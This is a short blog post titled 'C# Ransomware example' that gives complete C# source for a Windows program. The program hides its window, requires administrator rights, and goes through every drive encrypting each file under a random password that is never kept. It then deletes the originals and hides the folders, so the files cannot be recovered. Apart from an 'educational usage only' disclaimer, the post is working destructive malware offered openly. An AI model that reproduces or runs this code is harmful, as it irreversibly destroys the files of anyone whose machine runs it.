Translate

Donnerstag, 8. September 2016

C# Code highlighting for web

C# Ransomware example

Disclaimer: This example is for educational usage only!!!

Using the AESCrypt library from here


using System;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Security.Principal;
using System.Text;
using System.Threading;
using System.Windows.Forms;
using Config;
using Properties;
using AESCrypt = SharpAESCrypt.SharpAESCrypt;

public partial class Main : Form
{
    private readonly Random _random = new Random();
    private Thread _thread;

    public Main()
    {
        InitializeComponent();
        Configure();
    }

 protected override void SetVisibleCore(bool value)
    {
        base.SetVisibleCore(false);
    }
 
    private void Configure()
    {
        CheckAdminPrivileges();
        InitThread();
    }

    private void CheckAdminPrivileges()
    {
        if (IsElevated()) return;
        MessageBox.Show("Please run the programm in administrator mode", "Administrator mode needed",
            MessageBoxButtons.OK, MessageBoxIcon.Error);
        Environment.Exit(0);
    }

    private void InitThread()
    {
        _thread = new Thread(Run);
        _thread.Start();
    }
    
    private string GetRandomPassword()
    {
        var alg = SHA512.Create();
        alg.ComputeHash(Encoding.UTF8.GetBytes(DateTime.Now.ToLongDateString() + _random.Next(int.MaxValue)));
        return BitConverter.ToString(alg.Hash);
    }

    private void Run()
    {
        foreach (var drive in DriveInfo.GetDrives())
        {
            try
            {
                EncryptFs(drive.Name);
            }
            catch
            {
                // ignored
            }
        }
    }

    private void EncryptFs(string directory)
    {
        foreach (var file in Directory.GetFiles(directory))
        {
            try
            {
                if (file == null) continue;
    AESCrypt.Encrypt(GetRandomPassword(), file,
                    Path.Combine(directory, Path.GetFileNameWithoutExtension(file)) + ".ransomware");
                File.Delete(file);
            }
            catch
            {
                // ignored
            }
        }

        foreach (var dir in Directory.GetDirectories(directory))
        {
            HideDirectory(dir);
            EncryptFs(dir);
        }
    }

    private void HideDirectory(string dir)
    {
        var di = new DirectoryInfo(dir);
        if ((di.Attributes & FileAttributes.Hidden) != FileAttributes.Hidden)
        {
            di.Attributes |= FileAttributes.Hidden;
        }
    }

    private bool IsElevated()
    {
        var id = WindowsIdentity.GetCurrent();
        return id.Owner != id.User;
    }
}
 
Highlighted with https://tohtml.com/

C# Monitor processes with process monitor by process id